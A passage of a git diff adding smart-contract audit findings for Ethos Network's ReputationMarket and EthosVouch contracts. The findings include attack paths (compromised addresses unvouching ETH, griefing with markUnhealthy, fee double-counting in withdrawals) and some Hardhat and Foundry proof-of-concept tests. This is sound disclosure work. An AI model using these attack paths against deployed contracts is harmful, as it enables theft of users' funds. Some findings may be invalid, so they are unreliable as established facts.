(marketConfigs.length <= 1) { + revert InvalidMarketConfigOption("Must keep one config"); + } + + // Check if the index is valid + if (configIndex >= marketConfigs.length) { + revert InvalidMarketConfigOption("index not found"); + } + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); + } +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L389-L410 + + +### Internal pre-conditions + +1. Admin removes a config that is: +- not last in the marketConfigs[] array +- has initialLiquidity not less than initialLiquidity of the config last in array + +### External pre-conditions + +_No response_ + +### Attack Path + +A user unknowingly creates a market with a config right after an admin removes that config + +### Impact + +The user gets a market with a different config than the one they intended. Since configs can not be changed and users can only have 1 market for their profile ever, this mistake is irreversible. + +### PoC + +_No response_ + +### Mitigation + +For example change the way configs are stored, implement checks if the configs are active and revert transactions that try to use removed configs. \ No newline at end of file diff --git a/394.md b/394.md new file mode 100644 index 0000000..d769a7f --- /dev/null +++ b/394.md @@ -0,0 +1,190 @@ +Low Teal Puma + +High + +# A user will always loose some ether when selling their vote due to error in calculating `fundsReceived` + +## Impact +### Summary +The `ReputationMarket.sol` functions like betting where a user, say `userA` predicts that users are going to buy trust votes because they believe that the profile is trustworthy, so the `userA` buys trust votes by calling the `ReputationMarket::buyVotes` function before other users and once other users also buy trust votes, `userA` sell thiers by calling the `ReputationMarket::sellVotes` function, making profit by doing so. + +However, the `votePrice` is wrongly used when selling votes thereby causing the seller to loose some ether, reducing their profit margin. + +### Vulnerability Details +When a user wants to sell their votes, they call the `ReputationMarket::sellVotes` function which relies on the `ReputationMarket::_calculateSell` function to calculate the amount of ether to be received by the seller. + +The vulnerability lies in the manner the `ReputationMarket::_calculateSell` function calculates the amount of ether due to the seller i.e. `fundsReceived`. After the necessary checks, the function checks the current `votePrice` given the prevailing market conditions. This initial `votePrice` is only set as `maxPrice` but is never used in calculating the `fundsReceived` rather, the protocol decrements `market.votes[...]` by 1, uses the new market condition to re-calculate the `votePrice` and then use is to calculate `fundsReceived`. Note that decrementing `market.votes[...]` by 1 also reduces the `votePrice`. As a result, the protocol does not use the `maxPrice` in calculation `fundsReceived` for the seller but uses a lower `votePrice`. Thus, the seller receives a less amount of ether than they should. + +This vulnerability can be seen by checking this link https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045 or by taking a look at the code snippet below. + +```javascript + function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + + uint256 votePrice = _calcVotePrice(market, isPositive); + + + uint256 maxPrice = votePrice; + uint256 minPrice; + + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } + +``` + + +### Impact +Since the `maxPrice` is never used in the calculation of `fundsReceived`, the first vote is always sold at a lower price than the usual which translates into less amount of ether as `fundsReceived` due to the seller. As such, the seller receives less amount of ether than what is due to them. + +## Proof of Concept +Let votes be bought and sold in the following manner: +1. Let the initial `votePrice` be a value say `votePrice_0`. +2. `userA` buys a vote thereby increasing the `votePrice` to a value say, `votePrice_1` such that `votePrice_1 > votePrice_0` +3. `userB` also buys a vote thereby further increasing the `votePrice` to a higher value say, `votePrice_2` such that `votePrice_2 > votePrice_1` +4. seeing that `votePrice_2` is much higher `votePrice_0` the price he bought a vote, `userA` decides to sell their vote hoping to get say `fundsReceived_1` corresponding to the current vote price `votePrice_2`. However, the protocol does not use `votePrice_2` to sell the vote of `userA` but uses `votePrice_1` which is a lower price. This causes `userA` to receive an amount of ether that is less than `fundsReceived_1`. + +
+PoC +Place the following code into `rep.market.test.ts`. + +```javascript +it.only('seller of a stake receives less ETH', async () => { + await userA.buyOneVote(); // const { fundsPaid } = + + // another user buys a trust vote + await userB.buyOneVote(); + + let priceBeforeSale = await DEFAULT.reputationMarket.getVotePrice( + DEFAULT.profileId, + DEFAULT.isPositive, + ); + + const { fundsReceived } = await userA.sellOneVote(); + + let priceAfterSale = await DEFAULT.reputationMarket.getVotePrice( + DEFAULT.profileId, + DEFAULT.isPositive, + ); + + expect(fundsReceived).to.lessThan(priceBeforeSale); + expect(fundsReceived).to.equal(priceAfterSale); + }); +``` + +Now run `npm run-script test:contracts` + +Output: +```javascript +> @ethos/contracts@1.0.0 test:contracts +> NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test + + + + ReputationMarket + ✔ seller of a stake is paid less (157ms) + + + 1 passing (7s) + +``` + +
+ +## Tools Used + +Manual Review and Hardhat + + +## Recommended Mitigation Steps +Consider modifying the `ReputationMarket::_calculateSell` to use the `maxPrice` for the first sell order before adjusting the vote price so that sellers get the amount of ether that is due to them as illustrated below + +```diff +function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + + uint256 votePrice = _calcVotePrice(market, isPositive); + + + uint256 maxPrice = votePrice; + uint256 minPrice; + + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; +- votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; ++ votePrice = _calcVotePrice(market, isPositive); + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; + + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` diff --git a/395.md b/395.md new file mode 100644 index 0000000..0011f35 --- /dev/null +++ b/395.md @@ -0,0 +1,44 @@ +Rough Plum Giraffe + +Medium + +# Malicious owner of a compromised address can steal vouched ETH of legitimate Ethos profile owner + +### Summary + +Missing check for compromised address in the function [unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L481) inside the EthosVouch contract, will cause a complete loss of vouched ETH for the original profile owner who vouched through their authorAddress, as the attacker now owning the compromised address will unvouch and receive the ETH. + +Note that the protocol has implemented an anti-compromise mechanism in the contract EthosProfile where Ethos profile owners can flag if one of their addresses has been compromised. Such compromised addresses are restricted from calling certain functions in the EthosProfile contract through the [onlyNonCompromisedAddress() modifier](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L104-L109), and unlike deleted addresses, [compromised addresses can only be restored by an admin](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L437-L439). This is to show that the anti-compromise mechanism should be considered core functionality. + +As per the comment [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L456-L458), funds are attached to addresses and not profiles so a if a profile decided to delete one of their addresses without flagging it as compromised, it is intended design that this address will still be able to unvouch and receive the ETH. But when it is flagged as compromised, it is not intended that the attacker who gained control of the address will also be able to get hold of the vouched ETH. + +### Root Cause + +In the function unvouch(), there is no check if the authorAddress of the vouch has been compromised. + +### Internal pre-conditions + +1. A legitimate user having an Ethos profile, needs to vouch through one of the profile’s registered addresses. + +### External pre-conditions + +1. An attacker needs to acquire control of an address that was used to vouch. + +### Attack Path + +1. Attacker calls unvouch() and receives the whole amount of ETH of the vouch minus the exit fee. + +### Impact + +The legitimate (previous) owner of an authorAddress who vouched for a subject profile, will lose all of their vouch (ETH) amount. + +### PoC + +_No response_ + +### Mitigation + +To mitigate this issue 2 things should be done: + +1. First, in the function unvouch() check if the authorAddress is compromised by querying the public mapping [isAddressCompromised](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosProfile.sol#L72) inside EthosProfile. +2. The protocol needs to redesign the function unvouch() to some degree, to allow another non-compromised address of the profile to unvouch. In that sense, the comment referenced in the summary that speaks about funds being attached to an address rather than a profile needs to be reevaluated. \ No newline at end of file diff --git a/396.md b/396.md new file mode 100644 index 0000000..b4121e9 --- /dev/null +++ b/396.md @@ -0,0 +1,42 @@ +Damaged Red Butterfly + +Medium + +# Missing Slippage Protection Will Lose Funds Of Users When Selling Votes + +### Summary + +The missing slippage protection in `ReputationMarket.sol:495` will cause loss of funds for users trying to sell their votes in the case of a price movement. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534 + +### Root Cause + +In `ReputationMarket.sol:495` there is a missing slippage protection parameter and check which means that the `sellVotes` function is not protected for receiving less votes in the case of a price movement. + +### Internal pre-conditions + +1. There should be a sudden price movement caused either maliciously or not. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User A calls `simulateSell` to see the effect of him selling a given amount of votes. +2. There is a sudden price movement. +3. User A calls `sellVotes` thinking it will have either the same or similar effect to the call of `simulateSell`. +4. User A sells votes basically on a discount without having the proper control to prevent it. + +### Impact + +User loses by selling votes on a discount without having the proper control to prevent it. + +### PoC + +_No response_ + +### Mitigation + +Add a slippage parameter and check in the `sellVotes` function similar to the one already implemented in the `buyVotes` function. \ No newline at end of file diff --git a/397.md b/397.md new file mode 100644 index 0000000..48714b3 --- /dev/null +++ b/397.md @@ -0,0 +1,45 @@ +Petite Cerulean Mallard + +Medium + +# Malicious user can grief users reputation by spamming markUnhealthy + +### Summary + +The EthosVouch.sol contract can allow malicious users to repeatedly damage target profiles reputations through low-cost vouch/unvouch cycles that marks a user as unhealthy. + +### Root Cause + +The contract allows users to: +Vouch with minimal amount (0.0001 ETH) - https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330 +Unvouch immediately and Mark the vouch as unhealthy - https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L487 +Repeat this again and again as this is very cheap to do(no cooldown on vouch and unvouch) and can easily damage the reputation of an user + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +should have 1 verified address on ethos + +### Attack Path + +Attacker identifies target profile +Each cycle costs only 0.0001 ETH (as this is a constant - uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether;)plus gas https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L119 +Each cycle creates permanent record of unhealthy interaction as it marks `v.unhealthy = true;` + +### Impact + +Permanent negative reputation records(note - the bool is marked `v.unhealthy = true;` when the function `markUnhealthy`is used)so whatever amount a user has staked while using vouch, the impact of markunhealthy will be the same as `v.unhealthy = true;` so it holds the same value for everyone) +No way to remove unhealthy marks +New people would not want to vouch for this particular user as there reputation is low + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/398.md b/398.md new file mode 100644 index 0000000..b602600 --- /dev/null +++ b/398.md @@ -0,0 +1,141 @@ +Low Teal Puma + +Medium + +# The `ReputationMarket::_calculateSell` function returns wrong value for `minVotePrice` + +## Impact +### Summary +The `ReputationMarket::_calculateSell` function is designed to calculate the amount of ether a seller will receive given the amount of votes the seller intends to sell. The function also returns some variables which are then used by the `ReputationMarket::sellVotes` function to emit events. +Unfortunately, the `ReputationMarket::_calculateSell` function returns a wrong value for `minVotePrice` resulting in the `ReputationMarket::sellVotes` function using a wrong value to emit event. + +### Vulnerability Details +Based on the natspec, the `maxVotePrice` is the maximum price during transaction; `minVotePrice` is the minimum price during transaction; and `newVotePrice` is the final price per vote after sale. + +The vulnerability lies in the fact that the `ReputationMarket::_calculateSell` function returns the same value for `minVotePrice` and `newVotePrice` when in fact, their values should be different. + +This vulnerability can be seen by checking this link https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003-L1045 or by taking a look at the code snippet below. + +```javascript + function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + + uint256 votePrice = _calcVotePrice(market, isPositive); + + + uint256 maxPrice = votePrice; + uint256 minPrice; + + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; + votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); + minPrice = votePrice; // @audit-comment note that same value is returned as minPrice and votePrice + + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } + +``` + + +### Impact +Since the return values of the `ReputationMarket::_calculateSell` function are used by the `ReputationMarket::sellVotes` function to emit events, returning wrong values will result in emiting wrong values in events which can mislead other oracles that depend on these events. + +## Proof of Concept + +NA + +## Tools Used + +Manual Review + + +## Recommended Mitigation Steps + +Consider modifying the `ReputationMarket::_calculateSell` to set the value of `minPrice` correctly so as to differentiate it from `votePrice` as illustrated below + +```diff +function _calculateSell( + Market memory market, + uint256 profileId, + bool isPositive, + uint256 amount + ) + private + view + returns ( + uint256 votesSold, + uint256 fundsReceived, + uint256 newVotePrice, + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + + + if (votesAvailable < amount) { + revert InsufficientVotesOwned(profileId, msg.sender); + } + + + uint256 votePrice = _calcVotePrice(market, isPositive); + + + uint256 maxPrice = votePrice; + uint256 minPrice; + + + while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + + + market.votes[isPositive ? TRUST : DISTRUST] -= 1; +- votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; ++ minPrice = votePrice; ++ votePrice = _calcVotePrice(market, isPositive); + } + (fundsReceived, protocolFee, ) = previewFees(fundsReceived, false); +- minPrice = votePrice; + + + return (votesSold, fundsReceived, votePrice, protocolFee, minPrice, maxPrice); + } +``` \ No newline at end of file diff --git a/399.md b/399.md new file mode 100644 index 0000000..1d0ddcd --- /dev/null +++ b/399.md @@ -0,0 +1,73 @@ +Brisk Gingham Robin + +Medium + +# Users might end up creating an entirely different market than what they expected + +### Summary + +`removeMarketConfig` removes the index from `marketConfigs` array through swap and pop method. If a user called `createMarketWithConfig` during that same time, they might end up with a different market values. + +### Root Cause + +The contract allows users to create market based on the index that they provide via `createMarketWithConfig` + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L281-L293 + +Index provided by the user is fetched from `marketConfigs` array which gives initial configuration of the market that the user wants. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L107 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L65-L69 + +Adding and removing configurations from `marketConfig` array can be done via admin through +a. `addMarketConfig` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L360-L383 + +b. `removeMarketConfig` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L389-L410 + +If we look at the process of removing market config, the function swaps the last element with the index element that is to be removed and then pops the last element. + +For example - if the given array is [ 1, 3, 5, 7, 9 ] and we want to remove 5 then after swap and pop, array becomes [ 1, 3, 9, 7 ] + +We can conclude 1 thing here : +` the sequence of marketConfigs will change if any configuration is removed from the array ` + +That means, if someone creates market with the same index , at the same time when that index if removed, then they might end up with a different configuration if removal transaction is executed first. + + +### Internal pre-conditions + +1. Admin needs to remove the same index that the user is trying to access. +2. Timing of execution for both transaction should be same. +3. Admin's transaction should execute first followed by user's transaction +4. User needs to provide msg.value that satisfies both initial and final index. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin calls `removeMarketConfig` with index of 5 let's say +2. At the same time, user calls `createMarketWithConfig` with index 5. +3. Admin's transaction executed first, followed by user's transaction +4. User gets configuration of last index of the array instead of 5. + +### Impact + +If user is getting a configuration that requires more ether, then user is losing money that way. +Suppose for index 5 you needed 5 ether and for last index you need 6 ether. If user pays 6 ether during the call , then technically he lost 1 ether. + +This is a valid medium because it follows Sherlock's criteria for validity + +> 1. Causes a loss of funds but requires certain external conditions or specific states, or a loss is highly constrained. The loss must be relevant to the affected party. +> 2. Users lose more than 0.01% and more than $10 of their principal. + +### PoC + +_No response_ + +### Mitigation + +Use a mapping data structure instead along with the struct, so that index can be disabled just by changing a boolean in that mapping. diff --git a/400.md b/400.md new file mode 100644 index 0000000..d852329 --- /dev/null +++ b/400.md @@ -0,0 +1,148 @@ +Handsome Dijon Jay + +Medium + +# Donation fees for mock profiles will be stuck in the `EthosVouch` contract + +### Summary + +In the Ethos ecosystem, profiles can have different statuses: `verified`, `archived`, and `mock`. While `mock` profiles cannot claim donation rewards, they can still be vouched for, which allows them to collect donation fees. + +The issue arises because the donation fees collected by `mock` profiles are effectively stuck in the contract, as these profiles are not eligible to claim rewards. This creates a situation where the funds become inaccessible and potentially trapped within the system. + +### Root Cause + +In [`EthosVouch::applyFees`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929-L965), donation fees are applied, including to mock profiles. However, in [`EthosVouch::claimRewards`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L667-L685), mock profiles are [ineligible](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L673-L675) to claim these rewards. As a result, the collected fees remain stuck in the contract. + +### Internal pre-conditions + +Requires admin to have enabled donation fees + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User vouches for a mock profile +2. Mock profile owner cannot claim donation fee + +### Impact + +The donations fees paid to mock profiles will be stuck in the vouch contract. + +### PoC + +Foundry test: +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import {Test} from "forge-std/Test.sol"; + +import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; + +import { EthosVouch } from "../../contracts/EthosVouch.sol"; +import { IContractAddressManager } from "../../contracts/interfaces/IContractAddressManager.sol"; +import { IEthosProfile } from "../../contracts/interfaces/IEthosProfile.sol"; +import { ProfileNotFoundForAddress } from "../../contracts/errors/ProfileErrors.sol"; + +contract EthosVouchTest is Test { + + EthosVouch ethosVouch; + + address owner = makeAddr("owner"); + address admin = makeAddr("admin"); + address expectedSigner = makeAddr("expectedSigner"); + address signatureVerifier = makeAddr("signatureVerifier"); + address contractAddressManagerAddr = makeAddr("contractAddressManager"); + address feeProtocol = makeAddr("feeProtocol"); + + address profile = makeAddr("profile"); + + address subject = makeAddr("subject"); + uint256 constant SubjectProfileId = 1; + + address author = makeAddr("author"); + uint256 constant AuthorProfileId = 2; + + function setUp() public { + EthosVouch impl = new EthosVouch(); + vm.label(address(impl), "impl"); + ethosVouch = EthosVouch(address(new ERC1967Proxy(address(impl), ""))); + ethosVouch.initialize( + owner, + admin, + expectedSigner, + signatureVerifier, + contractAddressManagerAddr, + feeProtocol, + 0, // entryProtocolFeeBasisPoints, + 500, // entryDonationFeeBasisPoints, + 0, // entryVouchersPoolFeeBasisPoints, + 0 // exitFeeBasisPoints + ); + vm.label(address(ethosVouch), "EthosVouch"); + + vm.mockCall( + contractAddressManagerAddr, + abi.encodeWithSelector(IContractAddressManager.getContractAddressForName.selector, "ETHOS_PROFILE"), + abi.encode(profile) + ); + + vm.mockCall( + profile, + abi.encodeWithSelector(IEthosProfile.verifiedProfileIdForAddress.selector, author), + abi.encode(AuthorProfileId) + ); + + vm.deal(author, 0.01 ether); + } + + function testVouchRewardsStuckInContractForMockProfiles() public { + vm.mockCall( + profile, + abi.encodeWithSelector(IEthosProfile.profileStatusById.selector, SubjectProfileId), + abi.encode( + true, // is verified + false, // not archived + true // is mock + ) + ); + + vm.mockCall( + profile, + abi.encodeWithSelector(IEthosProfile.profileStatusByAddress.selector, subject), + abi.encode( + true, // is verified + false, // not archived + true, // is mock + SubjectProfileId + ) + ); + + // author vouches and unvouches, only rewards should be left in the contract + vm.startPrank(author); + ethosVouch.vouchByProfileId{value: 0.01 ether}(SubjectProfileId, "comment", "metadata"); + ethosVouch.unvouch(0); + vm.stopPrank(); + assertGt(author.balance, 0); + + // subject has rewards to claim + assertGt(ethosVouch.rewards(SubjectProfileId), 0); + + // but cannot claim since the profile is a mock + vm.prank(subject); + vm.expectRevert(abi.encodeWithSelector(ProfileNotFoundForAddress.selector, subject)); + ethosVouch.claimRewards(); + + // reward eth stuck in the vouch contract + assertGt(address(ethosVouch).balance, 0); + assertEq(address(ethosVouch).balance + author.balance, 0.01 ether); + } +} +``` + +### Mitigation + +Consider either not collecting the donation fee for mock profiles or to let the mock profile collect it. \ No newline at end of file diff --git a/401.md b/401.md new file mode 100644 index 0000000..128e6b5 --- /dev/null +++ b/401.md @@ -0,0 +1,16 @@ +Sweet Walnut Buffalo + +Medium + +# compromised authorAddresses will be able to unvouch some profileid vouches + +### Summary +Users of EthosProfiles are encouraged to register different addresses with their profile ID, However if an address get compromised it will be able to call `unvouch` and gets balances of vouches has been done with this address without any restrictions, as it only check that `authorAddresse` of vouch is msg.sender and don't check if it was compromised or not. + +[checking only for msg.sender at `unvouch()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L459C1-L461C6) + +### impact +users funds at risk + +### Recommendations +revert when a compromised address try to call `unvouch()` and implement function to handle such vouches are done by compromised address. \ No newline at end of file diff --git a/402.md b/402.md new file mode 100644 index 0000000..7ccc4db --- /dev/null +++ b/402.md @@ -0,0 +1,95 @@ +Hollow Coal Zebra + +High + +# Double Accounting of Fees will lead to an Inflated marketFunds + +### Summary + +The `marketFunds` in `ReputationMarket::buyVotes()` includes fees (protocol fees and donations) that have already been distributed via `applyFees()`, resulting in an inflated accounting of the market's funds. + +### Root Cause + +In the `_calculateBuy`, protocolFee and donation are added to fundsPaid. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978C2-L978C41 +```solidity +fundsPaid += protocolFee + donation; +``` + +This addition is necessary to compute the `refund`. However, notice that `protocolFees` and `donation` are already distributed via `applyFees`. Despite this, `marketFunds` is then updated with the full `fundsPaid` amount which incorrectly includes the already distributed fees. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481C5-L481C41 + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice +@> ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +@> applyFees(protocolFee, donation, profileId); // @audit - fees are already distributed + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +@> marketFunds[profileId] += fundsPaid; // @audit - fees are included +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The `marketFunds` shows an inflated balance that includes already distributed fees. When a market graduates and funds are withdrawn through `withdrawGraduatedMarketFunds()`, the contract attempts to withdraw more funds than it should have. This could also lead to failed withdrawals because the contract balance will be insufficient. + + +### PoC + +_No response_ + +### Mitigation + +Subtract fees when adding to marketFunds: +```diff + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` diff --git a/403.md b/403.md new file mode 100644 index 0000000..ef764e6 --- /dev/null +++ b/403.md @@ -0,0 +1,44 @@ +Handsome Dijon Jay + +Medium + +# Lack ofr storage gaps in base contracts inherited by `EthosVouch` and `ReputationMarket` can cause storage conflicts during upgrades + +### Summary + +The `EthosVouch` and `ReputationMarket` contracts are both implemented as UUPSUpgradeable contracts, which are designed to support upgrades. However, they do not utilize the upgradeable version of OpenZeppelin’s `ReentrancyGuard` library. This omission introduces the risk of storage conflicts during upgrades. + +Upgradeable contracts require a precise storage layout to ensure data integrity across different versions. OpenZeppelin's upgradeable libraries, including the upgradeable `ReentrancyGuard`, are specifically designed to handle this by replacing constructor logic with an `initializer` function and aligning storage slots to prevent conflicts. Without these safeguards, manual upgrades can inadvertently overwrite state variables, misaligned storage, or introduce unintended behavior. + +Also, Both `AccessControl` and it's base contract `` also lack storage gaps. + +### Root Cause + +* Both the [`EthosVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) and [`ReputationMarket`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) use the non-upgradeable version of `ReentrancyGuard`. +* [`AccessControl`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/AccessControl.sol#L34) lacks storage gap +* [`SignatureControl`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/utils/SignatureControl.sol#L15) lacks storage gap + +### Internal pre-conditions + +None. + +### External pre-conditions + +None. + +### Attack Path + +_No response_ + +### Impact + +Upgrading the contracts without using OpenZeppelin's upgradeable ReentrancyGuard` risks storage conflicts, which can overwrite or corrupt critical state variables and could in turn lead to severe consequences. + +### PoC + +n/a + +### Mitigation + +* Use ReentrancyGuardUpgradeable and initialize it in the `initialize` function +* Add storage gaps to `AccessControl` and `SignatureControl` \ No newline at end of file diff --git a/404.md b/404.md new file mode 100644 index 0000000..e7117ae --- /dev/null +++ b/404.md @@ -0,0 +1,54 @@ +Petite Cerulean Mallard + +High + +# Market Funds Accounting Problem in ReputationMarket.sol + +### Summary + +The ReputationMarket.sol `buyVotes` function incorrectly tallies market funds by including protocol fees and donations in marketFunds[profileId], leading to inflated balances, adding to this when combined with the `withdrawGraduatedMarketFunds` function, this creates a vulnerability allowing withdrawal of funds from other markets or locking the funds in the contract. + +### Root Cause + +The contract adds the full `fundsPaid` amount (including fees) to marketFunds[profileId]https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 +even though before this the - +Protocol fees is sent to protocolFeeAddress +Donations are moved to donationEscrow +So when a market is graduated and function `withdrawGraduatedMarketFunds` is called https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660 +it withdraws amounts that exceed actual market holdings or lock the funds in the contract if there isnt enough liquidity + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +an example of this problem can be - lets assume there are 2 markets +Market A actual marketfunds value should be 5 ETH +Due to fee accounting issue, Market A shows: 5.5 ETH (0.5 ETH from fees) {note- this is just an example fee can differ but it will always add more funds to the mapping then it should as its always `marketFunds[profileId] += fundsPaid;`} +Market b value: 3 ETH +Market A graduates +withdrawGraduatedMarketFunds(marketA) is called +Contract attempts to send 5.5 ETH +Takes 5 ETH from Market A and extra 0.5 ETH from Market B (it can take from the donations reserved for the market owners too but the impact is similar as its always withdrawing more) -loss of 0.5 eth +this is a particular example so basically - +While using the withdraw graduatedMarketFunds function it will try to withdraw more than the actual balance of the market funds which can either revert(if not enough liquidity) and lock the funds in or 